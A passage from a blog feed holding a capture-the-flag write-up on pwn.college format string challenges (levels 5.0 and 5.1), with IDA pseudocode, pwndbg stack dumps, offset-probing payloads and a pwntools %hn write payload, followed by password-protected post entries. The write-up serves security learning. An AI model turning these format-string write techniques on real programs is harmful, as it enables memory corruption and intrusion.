<span id="cb28-13"><a href="#cb28-13" aria-hidden="true" tabindex="-1"></a>p.send(payload)</span>
<span id="cb28-14"><a href="#cb28-14" aria-hidden="true" tabindex="-1"></a><span class="bu">print</span>(p.recvall().decode(errors<span class="op">=</span><span class="st">&#39;replace&#39;</span>))</span></code></pre></div>
<p>still had no luck, assuming wrong padding. got tired of experimenting so just checked in ida pro</p>
<h3 id="examining-in-ida"><a href="#examining-in-ida" class="anchor">#</a>examining in ida</h3>
<p><code>func</code> pseudocode:</p>
<div class="sourceCode" id="cb29"><pre class="sourceCode c"><code class="sourceCode c"><span id="cb29-1"><a href="#cb29-1" aria-hidden="true" tabindex="-1"></a><span class="dt">unsigned</span> __int64 func<span class="op">()</span></span>
<span id="cb29-2"><a href="#cb29-2" aria-hidden="true" tabindex="-1"></a><span class="op">{</span></span>
<span id="cb29-3"><a href="#cb29-3" aria-hidden="true" tabindex="-1"></a>  <span class="dt">unsigned</span> <span class="dt">int</span> v0<span class="op">;</span> <span class="co">// eax</span></span>
<span id="cb29-4"><a href="#cb29-4" aria-hidden="true" tabindex="-1"></a>  _DWORD v2<span class="op">[</span><span class="dv">86</span><span class="op">];</span> <span class="co">// [rsp+0h] [rbp-160h] BYREF</span></span>
<span id="cb29-5"><a href="#cb29-5" aria-hidden="true" tabindex="-1"></a>  <span class="dt">unsigned</span> __int64 v3<span class="op">;</span> <span class="co">// [rsp+158h] [rbp-8h]</span></span>
<span id="cb29-6"><a href="#cb29-6" aria-hidden="true" tabindex="-1"></a>  __int64 savedregs<span class="op">;</span> <span class="co">// [rsp+160h] [rbp+0h] BYREF</span></span>
<span id="cb29-7"><a href="#cb29-7" aria-hidden="true" tabindex="-1"></a>  _UNKNOWN <span class="op">*</span>retaddr<span class="op">;</span> <span class="co">// [rsp+168h] [rbp+8h] BYREF</span></span>
<span id="cb29-8"><a href="#cb29-8" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb29-9"><a href="#cb29-9" aria-hidden="true" tabindex="-1"></a>  v3 <span class="op">=</span> __readfsqword<span class="op">(</span><span class="bn">0x28</span><span class="bu">u</span><span class="op">);</span></span>
<span id="cb29-10"><a href="#cb29-10" aria-hidden="true" tabindex="-1"></a>  sp_ <span class="op">=</span> <span class="op">(</span>__int64<span class="op">)</span>v2<span class="op">;</span></span>
<span id="cb29-11"><a href="#cb29-11" aria-hidden="true" tabindex="-1"></a>  bp_ <span class="op">=</span> <span class="op">(</span>__int64<span class="op">)&amp;</span>savedregs<span class="op">;</span></span>
<span id="cb29-12"><a href="#cb29-12" aria-hidden="true" tabindex="-1"></a>  sz_ <span class="op">=</span> <span class="op">((</span><span class="dt">unsigned</span> __int64<span class="op">)((</span><span class="dt">char</span> <span class="op">*)&amp;</span>savedregs <span class="op">-</span> <span class="op">(</span><span class="dt">char</span> <span class="op">*)</span>v2<span class="op">)</span> <span class="op">&gt;&gt;</span> <span class="dv">3</span><span class="op">)</span> <span class="op">+</span> <span class="dv">2</span><span class="op">;</span></span>
<span id="cb29-13"><a href="#cb29-13" aria-hidden="true" tabindex="-1"></a>  rp_ <span class="op">=</span> <span class="op">(</span>__int64<span class="op">)&amp;</span>retaddr<span class="op">;</span></span>
<span id="cb29-14"><a href="#cb29-14" aria-hidden="true" tabindex="-1"></a>  memset<span class="op">(</span>v2<span class="op">,</span> <span class="dv">0</span><span class="op">,</span> <span class="kw">sizeof</span><span class="op">(</span>v2<span class="op">));</span></span>
<span id="cb29-15"><a href="#cb29-15" aria-hidden="true" tabindex="-1"></a>  v0 <span class="op">=</span> time<span class="op">(</span><span class="kw">nullptr</span><span class="op">);</span></span>
<span id="cb29-16"><a href="#cb29-16" aria-hidden="true" tabindex="-1"></a>  srand<span class="op">(</span>v0<span class="op">);</span></span>
<span id="cb29-17"><a href="#cb29-17" aria-hidden="true" tabindex="-1"></a>  printf<span class="op">(</span></span>
<span id="cb29-18"><a href="#cb29-18" aria-hidden="true" tabindex="-1"></a>    <span class="st">&quot;This challenge requires you to set a win value, located in the .bss, to </span><span class="sc">%#lx</span><span class="st">. If you successfully</span><span class="sc">\n</span><span class="st">&quot;</span><span class="op">,</span></span>
<span id="cb29-19"><a href="#cb29-19" aria-hidden="true" tabindex="-1"></a>    <span class="bn">0xF6943A3523FD282C</span><span class="bu">LL</span><span class="op">);</span></span>
<span id="cb29-20"><a href="#cb29-20" aria-hidden="true" tabindex="-1"></a>  printf<span class="op">(</span><span class="st">&quot;pull that off, the challenge will give you the flag! You will need to use </span><span class="sc">%%</span><span class="st">n to set this value</span><span class="sc">\n</span><span class="st">&quot;</span><span class="op">);</span></span>
<span id="cb29-21"><a href="#cb29-21" aria-hidden="true" tabindex="-1"></a>  printf<span class="op">(</span><span class="st">&quot;Moreover, since the win value is so large, you will need to use several </span><span class="sc">%%</span><span class="st">hn writes rather than an </span><span class="sc">%%</span><span class="st">ln.</span><span class="sc">\n</span><span class="st">&quot;</span><span class="op">);</span></span>
<span id="cb29-22"><a href="#cb29-22" aria-hidden="true" tabindex="-1"></a>  putchar<span class="op">(</span><span class="dv">10</span><span class="op">);</span></span>
<span id="cb29-23"><a href="#cb29-23" aria-hidden="true" tabindex="-1"></a>  printf<span class="op">(</span></span>
<span id="cb29-24"><a href="#cb29-24" aria-hidden="true" tabindex="-1"></a>    <span class="st">&quot;The win value in the .bss is located at </span><span class="sc">%p</span><span class="st">! Remember to write this in little endian in your format string.</span><span class="sc">\n</span><span class="st">&quot;</span><span class="op">,</span></span>
<span id="cb29-25"><a href="#cb29-25" aria-hidden="true" tabindex="-1"></a>    <span class="op">&amp;</span>qword_404160<span class="op">);</span></span>
<span id="cb29-26"><a href="#cb29-26" aria-hidden="true" tabindex="-1"></a>  printf<span class="op">(</span><span class="st">&quot;Remember, you can swap </span><span class="sc">%%</span><span class="st">n with </span><span class="sc">%%</span><span class="st">lx to see what address you will be writing into to make sure you have the.&quot;</span><span class="op">);</span></span>
<span id="cb29-27"><a href="#cb29-27" aria-hidden="true" tabindex="-1"></a>  puts<span class="op">(</span><span class="st">&quot;correct offset.</span><span class="sc">\n</span><span class="st">&quot;</span><span class="op">);</span></span>
<span id="cb29-28"><a href="#cb29-28" aria-hidden="true" tabindex="-1"></a>  printf<span class="op">(</span><span class="st">&quot;I will now read up to </span><span class="sc">%d</span><span class="st"> bytes. Send your data!</span><span class="sc">\n</span><span class="st">&quot;</span><span class="op">,</span> <span class="dv">256</span><span class="op">);</span></span>
<span id="cb29-29"><a href="#cb29-29" aria-hidden="true" tabindex="-1"></a>  v2<span class="op">[</span><span class="dv">13</span><span class="op">]</span> <span class="op">=</span> read<span class="op">(</span><span class="dv">0</span><span class="op">,</span> <span class="op">(</span><span class="dt">char</span> <span class="op">*)&amp;</span>v2<span class="op">[</span><span class="dv">16</span><span class="op">]</span> <span class="op">+</span> <span class="dv">2</span><span class="op">,</span> <span class="bn">0x100</span><span class="bu">u</span><span class="op">);</span></span>
<span id="cb29-30"><a href="#cb29-30" aria-hidden="true" tabindex="-1"></a>  <span class="op">*((</span>_BYTE <span class="op">*)&amp;</span>v2<span class="op">[</span><span class="dv">16</span><span class="op">]</span> <span class="op">+</span> v2<span class="op">[</span><span class="dv">13</span><span class="op">]</span> <span class="op">+</span> <span class="dv">2</span><span class="op">)</span> <span class="op">=</span> <span class="dv">0</span><span class="op">;</span></span>
<span id="cb29-31"><a href="#cb29-31" aria-hidden="true" tabindex="-1"></a>  printf<span class="op">(</span><span class="st">&quot;Received </span><span class="sc">%d</span><span class="st"> bytes!</span><span class="sc">\n</span><span class="st">&quot;</span><span class="op">,</span> v2<span class="op">[</span><span class="dv">13</span><span class="op">]);</span></span>
<span id="cb29-32"><a href="#cb29-32" aria-hidden="true" tabindex="-1"></a>  putchar<span class="op">(</span><span class="dv">10</span><span class="op">);</span></span>
<span id="cb29-33"><a href="#cb29-33" aria-hidden="true" tabindex="-1"></a>  printf<span class="op">(</span><span class="st">&quot;I will now call printf on your data!</span><span class="sc">\n</span><span class="st">&quot;</span><span class="op">);</span></span>
<span id="cb29-34"><a href="#cb29-34" aria-hidden="true" tabindex="-1"></a>  putchar<span class="op">(</span><span class="dv">10</span><span class="op">);</span></span>
<span id="cb29-35"><a href="#cb29-35" aria-hidden="true" tabindex="-1"></a>  printf<span class="op">((</span><span class="dt">const</span> <span class="dt">char</span> <span class="op">*)&amp;</span>v2<span class="op">[</span><span class="dv">16</span><span class="op">]</span> <span class="op">+</span> <span class="dv">2</span><span class="op">,</span> <span class="dv">256</span><span class="op">);</span></span>
<span id="cb29-36"><a href="#cb29-36" aria-hidden="true" tabindex="-1"></a>  putchar<span class="op">(</span><span class="dv">10</span><span class="op">);</span></span>
<span id="cb29-37"><a href="#cb29-37" aria-hidden="true" tabindex="-1"></a>  puts<span class="op">(</span><span class="st">&quot;And now, let&#39;s check the win value!&quot;</span><span class="op">);</span></span>
<span id="cb29-38"><a href="#cb29-38" aria-hidden="true" tabindex="-1"></a>  check_win<span class="op">(</span><span class="dv">0</span><span class="op">);</span></span>
<span id="cb29-39"><a href="#cb29-39" aria-hidden="true" tabindex="-1"></a>  <span class="cf">return</span> __readfsqword<span class="op">(</span><span class="bn">0x28</span><span class="bu">u</span><span class="op">)</span> <span class="op">^</span> v3<span class="op">;</span></span>
<span id="cb29-40"><a href="#cb29-40" aria-hidden="true" tabindex="-1"></a><span class="op">}</span></span></code></pre></div>
<p>vulnerable printf is clear as day: <code>printf((const char *)&amp;v2[16] + 2, 256);</code>, also that +2 is going to be a villain, since <code>&amp;v2[16]</code> is byte aligned/perfect, but the +2 is going to push us forward 2 bytes. this is fine though, i can just add 6 bytes of padding. there is a problem with this though, those 6 bytes of padding will eventually affect the actual payload</p>
<p>it's at address <code>0x40173b</code></p>
<h3 id="using-pwndbg-to-find-offset"><a href="#using-pwndbg-to-find-offset" class="anchor">#</a>using pwndbg to find offset</h3>
<div class="sourceCode" id="cb30"><pre class="sourceCode nasm"><code class="sourceCode nasm"><span id="cb30-1"><a href="#cb30-1" aria-hidden="true" tabindex="-1"></a>pwndbg<span class="op">&gt;</span> b <span class="op">*</span><span class="bn">0x40173b</span></span>
<span id="cb30-2"><a href="#cb30-2" aria-hidden="true" tabindex="-1"></a>Breakpoint <span class="dv">1</span> <span class="kw">at</span> <span class="bn">0x40173b</span></span>
<span id="cb30-3"><a href="#cb30-3" aria-hidden="true" tabindex="-1"></a>pwndbg<span class="op">&gt;</span> r</span>
<span id="cb30-4"><a href="#cb30-4" aria-hidden="true" tabindex="-1"></a>###</span>
<span id="cb30-5"><a href="#cb30-5" aria-hidden="true" tabindex="-1"></a>### Welcome to <span class="op">/</span>home<span class="op">/</span>river<span class="op">/</span>ctf<span class="op">/</span>pwncollege<span class="op">/</span>formatstrings<span class="op">/</span><span class="fl">5.0</span><span class="op">/</span>babyfmt_level5<span class="op">.</span>0<span class="op">!</span></span>
<span id="cb30-6"><a href="#cb30-6" aria-hidden="true" tabindex="-1"></a>###</span>
<span id="cb30-7"><a href="#cb30-7" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb30-8"><a href="#cb30-8" aria-hidden="true" tabindex="-1"></a>This challenge reads in some bytes<span class="op">,</span> calls printf on that string<span class="op">,</span> and allows you to perform</span>
<span id="cb30-9"><a href="#cb30-9" aria-hidden="true" tabindex="-1"></a>a format string attack<span class="op">.</span> Through this series of challenges<span class="op">,</span> you will become painfully familiar</span>
<span id="cb30-10"><a href="#cb30-10" aria-hidden="true" tabindex="-1"></a>with the concept of Format String Attacks<span class="op">!</span></span>
<span id="cb30-11"><a href="#cb30-11" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb30-12"><a href="#cb30-12" aria-hidden="true" tabindex="-1"></a>This challenge allows you to make a <span class="dv">256</span><span class="op">-</span>sized format string<span class="op">.</span></span>
<span id="cb30-13"><a href="#cb30-13" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb30-14"><a href="#cb30-14" aria-hidden="true" tabindex="-1"></a>This challenge requires you to set a win value<span class="op">,</span> located in the <span class="fu">.bss</span><span class="op">,</span> to <span class="fl">0xf6943a3523fd282c.</span> If you successfully</span>
<span id="cb30-15"><a href="#cb30-15" aria-hidden="true" tabindex="-1"></a>pull that off<span class="op">,</span> the challenge will give you the flag<span class="op">!</span> You will need to use <span class="op">%</span>n to set this value</span>
<span id="cb30-16"><a href="#cb30-16" aria-hidden="true" tabindex="-1"></a>Moreover<span class="op">,</span> since the win value is so large<span class="op">,</span> you will need to use several <span class="op">%</span>hn writes rather than an <span class="op">%</span>ln<span class="op">.</span></span>
<span id="cb30-17"><a href="#cb30-17" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb30-18"><a href="#cb30-18" aria-hidden="true" tabindex="-1"></a>The win value in the <span class="fu">.bss</span> is located <span class="kw">at</span> <span class="bn">0x404160</span><span class="op">!</span> Remember to write this in little endian in your format string<span class="op">.</span></span>
<span id="cb30-19"><a href="#cb30-19" aria-hidden="true" tabindex="-1"></a>Remember<span class="op">,</span> you can swap <span class="op">%</span>n with <span class="op">%</span>lx to see what address you will be writing into to make sure you have the<span class="op">.</span>correct offset<span class="op">.</span></span>
<span id="cb30-20"><a href="#cb30-20" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb30-21"><a href="#cb30-21" aria-hidden="true" tabindex="-1"></a>I will now read up to <span class="dv">256</span> bytes<span class="op">.</span> Send your data<span class="op">!</span></span>
<span id="cb30-22"><a href="#cb30-22" aria-hidden="true" tabindex="-1"></a>AAAAAAAABBBBBBBB</span>
<span id="cb30-23"><a href="#cb30-23" aria-hidden="true" tabindex="-1"></a>Received <span class="dv">17</span> bytes<span class="op">!</span></span>
<span id="cb30-24"><a href="#cb30-24" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb30-25"><a href="#cb30-25" aria-hidden="true" tabindex="-1"></a>I will now call printf on your data<span class="op">!</span></span>
<span id="cb30-26"><a href="#cb30-26" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb30-27"><a href="#cb30-27" aria-hidden="true" tabindex="-1"></a>---SNIP<span class="op">---</span></span>
<span id="cb30-28"><a href="#cb30-28" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb30-29"><a href="#cb30-29" aria-hidden="true" tabindex="-1"></a>pwndbg<span class="op">&gt;</span> x<span class="op">/</span><span class="dv">60</span><span class="er">gx</span> <span class="op">$</span>rsp</span>
<span id="cb30-30"><a href="#cb30-30" aria-hidden="true" tabindex="-1"></a>0x7fffffffd700: 0x0000000000000000      0x0000000000000000</span>
<span id="cb30-31"><a href="#cb30-31" aria-hidden="true" tabindex="-1"></a>0x7fffffffd710: 0x0000000000000000      0x0000000000000000</span>
<span id="cb30-32"><a href="#cb30-32" aria-hidden="true" tabindex="-1"></a>0x7fffffffd720: 0x0000000000000000      0x0000000000000000</span>
<span id="cb30-33"><a href="#cb30-33" aria-hidden="true" tabindex="-1"></a>0x7fffffffd730: 0x0000001100000000      0x0000000000000000</span>
<span id="cb30-34"><a href="#cb30-34" aria-hidden="true" tabindex="-1"></a>0x7fffffffd740: 0x4141414141410000      0x4242424242424141</span>
<span id="cb30-35"><a href="#cb30-35" aria-hidden="true" tabindex="-1"></a>0x7fffffffd750: 0x00000000000a4242      0x0000000000000000</span>
<span id="cb30-36"><a href="#cb30-36" aria-hidden="true" tabindex="-1"></a>0x7fffffffd760: 0x0000000000000000      0x0000000000000000</span>
<span id="cb30-37"><a href="#cb30-37" aria-hidden="true" tabindex="-1"></a>0x7fffffffd770: 0x0000000000000000      0x0000000000000000</span>
<span id="cb30-38"><a href="#cb30-38" aria-hidden="true" tabindex="-1"></a>0x7fffffffd780: 0x0000000000000000      0x0000000000000000</span>
<span id="cb30-39"><a href="#cb30-39" aria-hidden="true" tabindex="-1"></a>0x7fffffffd790: 0x0000000000000000      0x0000000000000000</span>
<span id="cb30-40"><a href="#cb30-40" aria-hidden="true" tabindex="-1"></a>0x7fffffffd7a0: 0x0000000000000000      0x0000000000000000</span>
<span id="cb30-41"><a href="#cb30-41" aria-hidden="true" tabindex="-1"></a>0x7fffffffd7b0: 0x0000000000000000      0x0000000000000000</span>
<span id="cb30-42"><a href="#cb30-42" aria-hidden="true" tabindex="-1"></a>0x7fffffffd7c0: 0x0000000000000000      0x0000000000000000</span>
<span id="cb30-43"><a href="#cb30-43" aria-hidden="true" tabindex="-1"></a>0x7fffffffd7d0: 0x0000000000000000      0x0000000000000000</span>
<span id="cb30-44"><a href="#cb30-44" aria-hidden="true" tabindex="-1"></a>0x7fffffffd7e0: 0x0000000000000000      0x0000000000000000</span>
<span id="cb30-45"><a href="#cb30-45" aria-hidden="true" tabindex="-1"></a>0x7fffffffd7f0: 0x0000000000000000      0x0000000000000000</span>
<span id="cb30-46"><a href="#cb30-46" aria-hidden="true" tabindex="-1"></a>0x7fffffffd800: 0x0000000000000000      0x0000000000000000</span>
<span id="cb30-47"><a href="#cb30-47" aria-hidden="true" tabindex="-1"></a>0x7fffffffd810: 0x0000000000000000      0x0000000000000000</span>
<span id="cb30-48"><a href="#cb30-48" aria-hidden="true" tabindex="-1"></a>0x7fffffffd820: 0x0000000000000000      0x0000000000000000</span>
<span id="cb30-49"><a href="#cb30-49" aria-hidden="true" tabindex="-1"></a>0x7fffffffd830: 0x0000000000000000      0x0000000000000000</span>
<span id="cb30-50"><a href="#cb30-50" aria-hidden="true" tabindex="-1"></a>0x7fffffffd840: 0x0000000000000000      0x0000000000000000</span>
<span id="cb30-51"><a href="#cb30-51" aria-hidden="true" tabindex="-1"></a>0x7fffffffd850: 0x0000000000000000      0xbd7576d404a30e00</span>
<span id="cb30-52"><a href="#cb30-52" aria-hidden="true" tabindex="-1"></a>0x7fffffffd860: 0x00007fffffffd890      0x000000000040187f</span>
<span id="cb30-53"><a href="#cb30-53" aria-hidden="true" tabindex="-1"></a>0x7fffffffd870: 0x0000000000000000      0x00007fffffffd9c8</span>
<span id="cb30-54"><a href="#cb30-54" aria-hidden="true" tabindex="-1"></a>0x7fffffffd880: 0x00007fffffffd9b8      0x00000001f7e45168</span>
<span id="cb30-55"><a href="#cb30-55" aria-hidden="true" tabindex="-1"></a>0x7fffffffd890: 0x00007fffffffd9b8      0x00007ffff7ddffba</span>
<span id="cb30-56"><a href="#cb30-56" aria-hidden="true" tabindex="-1"></a>0x7fffffffd8a0: 0x00007ffff7f9e4a0      0x0000000000401777</span>
<span id="cb30-57"><a href="#cb30-57" aria-hidden="true" tabindex="-1"></a>0x7fffffffd8b0: 0x0000000100000000      0x00007fffffffd9b8</span>
<span id="cb30-58"><a href="#cb30-58" aria-hidden="true" tabindex="-1"></a>0x7fffffffd8c0: 0x00007ffff7f9e4a0      0x00007ffff7e385c6</span>
<span id="cb30-59"><a href="#cb30-59" aria-hidden="true" tabindex="-1"></a>0x7fffffffd8d0: 0x0000000000000000      0xdaae61a227cbf3ef</span></code></pre></div>
<p>0xd740 is where i'm landing, with 2 bytes of misalignment, so 0xd748 is going to be the clean boundary after the 6 bytes of padding</p>
<p><strong>WILL I EVER FINISH THIS WHO KNOWS??</strong></p>
<h2 id="level-51"><a href="#level-51" class="anchor">#</a>level 5.1</h2>
<h3 id="challenge-info-2"><a href="#challenge-info-2" class="anchor">#</a>challenge info</h3>
<div class="sourceCode" id="cb31"><pre class="sourceCode bash"><code class="sourceCode bash"><span id="cb31-1"><a href="#cb31-1" aria-hidden="true" tabindex="-1"></a><span class="co">###</span></span>
<span id="cb31-2"><a href="#cb31-2" aria-hidden="true" tabindex="-1"></a><span class="co">### Welcome to /challenge/babyfmt_level5.1!</span></span>
<span id="cb31-3"><a href="#cb31-3" aria-hidden="true" tabindex="-1"></a><span class="co">###</span></span>
<span id="cb31-4"><a href="#cb31-4" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb31-5"><a href="#cb31-5" aria-hidden="true" tabindex="-1"></a><span class="ex">This</span> challenge reads in some bytes, calls printf on that string, and allows you to perform</span>
<span id="cb31-6"><a href="#cb31-6" aria-hidden="true" tabindex="-1"></a><span class="ex">a</span> format string attack. Through this series of challenges, you will become painfully familiar</span>
<span id="cb31-7"><a href="#cb31-7" aria-hidden="true" tabindex="-1"></a><span class="ex">with</span> the concept of Format String Attacks!</span>
<span id="cb31-8"><a href="#cb31-8" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb31-9"><a href="#cb31-9" aria-hidden="true" tabindex="-1"></a><span class="ex">This</span> challenge allows you to make a 256-sized format string.</span>
<span id="cb31-10"><a href="#cb31-10" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb31-11"><a href="#cb31-11" aria-hidden="true" tabindex="-1"></a><span class="ex">This</span> challenge requires you to set a win value, located in the .bss, to 0x96d91d0c8e667fed. If you successfully</span>
<span id="cb31-12"><a href="#cb31-12" aria-hidden="true" tabindex="-1"></a><span class="ex">pull</span> that off, the challenge will give you the flag! You will need to use %n to set this value</span>
<span id="cb31-13"><a href="#cb31-13" aria-hidden="true" tabindex="-1"></a><span class="ex">Moreover,</span> since the win value is so large, you will need to use several %hn writes rather than an %ln.</span>
<span id="cb31-14"><a href="#cb31-14" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb31-15"><a href="#cb31-15" aria-hidden="true" tabindex="-1"></a><span class="ex">You</span> will have to reverse-engineer the check_win<span class="er">(</span><span class="kw">)</span> <span class="kw">function</span><span class="fu"> to</span> <span class="ex">understand</span> where in the .bss</span>
<span id="cb31-16"><a href="#cb31-16" aria-hidden="true" tabindex="-1"></a><span class="ex">the</span> win value is located.</span></code></pre></div>
<h3 id="finding-address"><a href="#finding-address" class="anchor">#</a>finding address</h3>
<p>opened ida &amp; looked at check_win pseudocode:</p>
<div class="sourceCode" id="cb32"><pre class="sourceCode c"><code class="sourceCode c"><span id="cb32-1"><a href="#cb32-1" aria-hidden="true" tabindex="-1"></a><span class="dt">int</span> check_win<span class="op">()</span></span>
<span id="cb32-2"><a href="#cb32-2" aria-hidden="true" tabindex="-1"></a><span class="op">{</span></span>
<span id="cb32-3"><a href="#cb32-3" aria-hidden="true" tabindex="-1"></a>  <span class="dt">int</span> v0<span class="op">;</span> <span class="co">// eax</span></span>
<span id="cb32-4"><a href="#cb32-4" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb32-5"><a href="#cb32-5" aria-hidden="true" tabindex="-1"></a>  puts<span class="op">(</span><span class="st">&quot;Checking win value...&quot;</span><span class="op">);</span></span>
<span id="cb32-6"><a href="#cb32-6" aria-hidden="true" tabindex="-1"></a>  printf<span class="op">(</span><span class="st">&quot;... desired win value: </span><span class="sc">%#lx\n</span><span class="st">&quot;</span><span class="op">,</span> <span class="bn">0x96D91D0C8E667FED</span><span class="bu">LL</span><span class="op">);</span></span>
<span id="cb32-7"><a href="#cb32-7" aria-hidden="true" tabindex="-1"></a>  printf<span class="op">(</span><span class="st">&quot;... written win value: </span><span class="sc">%#lx\n</span><span class="st">&quot;</span><span class="op">,</span> qword_404108<span class="op">);</span></span>
<span id="cb32-8"><a href="#cb32-8" aria-hidden="true" tabindex="-1"></a>  <span class="cf">if</span> <span class="op">(</span> qword_404108 <span class="op">!=</span> <span class="bn">0x96D91D0C8E667FED</span><span class="bu">LL</span> <span class="op">)</span></span>
<span id="cb32-9"><a href="#cb32-9" aria-hidden="true" tabindex="-1"></a>    <span class="cf">return</span> puts<span class="op">(</span><span class="st">&quot;... INCORRECT!&quot;</span><span class="op">);</span></span>
<span id="cb32-10"><a href="#cb32-10" aria-hidden="true" tabindex="-1"></a>  puts<span class="op">(</span><span class="st">&quot;... SUCCESS! Here is your flag:&quot;</span><span class="op">);</span></span>
<span id="cb32-11"><a href="#cb32-11" aria-hidden="true" tabindex="-1"></a>  v0 <span class="op">=</span> open<span class="op">(</span><span class="st">&quot;/flag&quot;</span><span class="op">,</span> <span class="dv">0</span><span class="op">);</span></span>
<span id="cb32-12"><a href="#cb32-12" aria-hidden="true" tabindex="-1"></a>  <span class="cf">return</span> sendfile<span class="op">(</span><span class="dv">1</span><span class="op">,</span> v0<span class="op">,</span> <span class="kw">nullptr</span><span class="op">,</span> <span class="bn">0x80</span><span class="bu">u</span><span class="op">);</span></span>
<span id="cb32-13"><a href="#cb32-13" aria-hidden="true" tabindex="-1"></a><span class="op">}</span></span></code></pre></div>
<p>404108 is our target address</p>
<h3 id="finding-slot--padding"><a href="#finding-slot--padding" class="anchor">#</a>finding slot + padding</h3>
<div class="sourceCode" id="cb33"><pre class="sourceCode python"><code class="sourceCode python"><span id="cb33-1"><a href="#cb33-1" aria-hidden="true" tabindex="-1"></a>payload <span class="op">=</span> <span class="st">b&#39;A&#39;</span><span class="op">*</span> <span class="dv">8</span></span>
<span id="cb33-2"><a href="#cb33-2" aria-hidden="true" tabindex="-1"></a>payload <span class="op">+=</span> <span class="st">b&#39;B&#39;</span> <span class="op">*</span> <span class="dv">8</span></span>
<span id="cb33-3"><a href="#cb33-3" aria-hidden="true" tabindex="-1"></a>payload <span class="op">+=</span> <span class="st">b&#39;&#39;</span>.join(<span class="ss">f&#39;.</span><span class="sc">{</span>i<span class="sc">}</span><span class="ss">=%</span><span class="sc">{</span>i<span class="sc">}</span><span class="ss">$lx&#39;</span>.encode() <span class="cf">for</span> i <span class="kw">in</span> <span class="bu">range</span>(<span class="dv">12</span>, <span class="dv">40</span>))</span></code></pre></div>
<p>returns:</p>
<div class="sourceCode" id="cb34"><pre class="sourceCode bash"><code class="sourceCode bash"><span id="cb34-1"><a href="#cb34-1" aria-hidden="true" tabindex="-1"></a><span class="ex">Received</span> 256 bytes!</span>
<span id="cb34-2"><a href="#cb34-2" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb34-3"><a href="#cb34-3" aria-hidden="true" tabindex="-1"></a><span class="ex">I</span> will now call printf on your data!</span>
<span id="cb34-4"><a href="#cb34-4" aria-hidden="true" tabindex="-1"></a></span>
<span id="cb34-5"><a href="#cb34-5" aria-hidden="true" tabindex="-1"></a><span class="ex">AAAAAAAABBBBBBBB.12=0.13=0.14=10000000000.15=0.16=0.17=0.18=0.19=0.20=0.21=0.22=0.23=0.24=0.25=0.26=0.27=0.28=0.29=0.30=0.31=4141414141414141.32=4242424242424242.33=243231253d32312e.34=31253d33312e786c.35=3d34312e786c2433</span></span>
<span id="cb34-6"><a href="#cb34-6" aria-hidden="true" tabindex="-1"></a><span class="ex">And</span> now, let<span class="st">&#39;s check the win value!</span></span>
<span id="cb34-7"><a href="#cb34-7" aria-hidden="true" tabindex="-1"></a><span class="st">Checking win value...</span></span>
<span id="cb34-8"><a href="#cb34-8" aria-hidden="true" tabindex="-1"></a><span class="st">... desired win value: 0x96d91d0c8e667fed</span></span>
<span id="cb34-9"><a href="#cb34-9" aria-hidden="true" tabindex="-1"></a><span class="st">... written win value: 0</span></span>
<span id="cb34-10"><a href="#cb34-10" aria-hidden="true" tabindex="-1"></a><span class="st">... INCORRECT!</span></span>
<span id="cb34-11"><a href="#cb34-11" aria-hidden="true" tabindex="-1"></a><span class="st">### Goodbye!</span></span></code></pre></div>
<p>so slot 33, and 16 bytes of padding</p>
<h3 id="solve-4"><a href="#solve-4" class="anchor">#</a>solve</h3>
<div class="sourceCode" id="cb35"><pre class="sourceCode python"><code class="sourceCode python"><span id="cb35-1"><a href="#cb35-1" aria-hidden="true" tabindex="-1"></a>payload <span class="op">=</span> <span class="st">b&#39;A&#39;</span><span class="op">*</span><span class="dv">16</span> <span class="op">+</span> fmtstr_payload(<span class="dv">33</span>, {<span class="bn">0x404108</span>: <span class="bn">0x96d91d0c8e667fed</span>},</span>
<span id="cb35-2"><a href="#cb35-2" aria-hidden="true" tabindex="-1"></a>    write_size<span class="op">=</span><span class="st">&#39;short&#39;</span>, numbwritten<span class="op">=</span><span class="dv">16</span>)</span></code></pre></div>]]></summary>
</entry>
<entry>
    <title>untitled03</title>
    <link href="https://rivers.sh/posts/untitled03/" />
    <id>https://rivers.sh/posts/untitled03/</id>
    <published>2026-07-18T00:00:00Z</published>
    <updated>2026-07-18T00:00:00Z</updated>
    <summary type="html"><![CDATA[<p>This post is password protected. Read it on the site.</p>]]></summary>
</entry>
<entry>
    <title>HackTheBox: Debugging Interface</title>
    <link href="https://rivers.sh/posts/htb-debugginginterface/" />
    <id>https://rivers.sh/posts/htb-debugginginterface/</id>
    <published>2026-07-10T00:00:00Z</published>
    <updated>2026-07-10T00:00:00Z</updated>
    <summary type="html"><![CDATA[<p>This post is password protected. Read it on the site.</p>]]></summary>
</entry>
<entry>
    <title>HackTheBox: The Needle</title>
    <link href="https://rivers.sh/posts/htb-theneedle/" />
    <id>https://rivers.sh/posts/htb-theneedle/</id>
    <published>2026-07-06T00:00:00Z</published>
    <updated>2026-07-06T00:00:00Z</updated>
    <summary type="html"><![CDATA[<p>This post is password protected. Read it on the site.</p>]]></summary>
</entry>
<entry>
    <title>HackTheBox: lowlogic</title>
    <link href="https://rivers.sh/posts/htb-lowlogic/" />
    <id>https://rivers.sh/posts/htb-lowlogic/</id>
    <published>2026-07-06T00:00:00Z</published>
    <updated>2026-07-06T00:00:00Z</updated>
    <summary type="html"><![CDATA[<p>This post is password protected. Read it on the site.</p>]]></summary>
</entry>
<entry>
    <title>untitled02</title>
    <link href="https://rivers.sh/posts/untitled02/" />
    <id>https://rivers.sh/posts/untitled02/</id>
    <published>2026-07-03T00:00:00Z</published>
    <updated>2026-07-03T00:00:00Z</updated>
    <summary type="html"><![CDATA[<p>This post is password protected. Read it on the site.</p>]]></summary>
</entry>
<entry>
    <title>HackTheBox: Espresso</title>
    <link href="https://rivers.sh/posts/htb-espresso/" />
    <id>https://rivers.sh/posts/htb-espresso/</id>
    <published>2026-06-27T00:00:00Z</published>
    <updated>2026-06-27T00:00:00Z</updated>
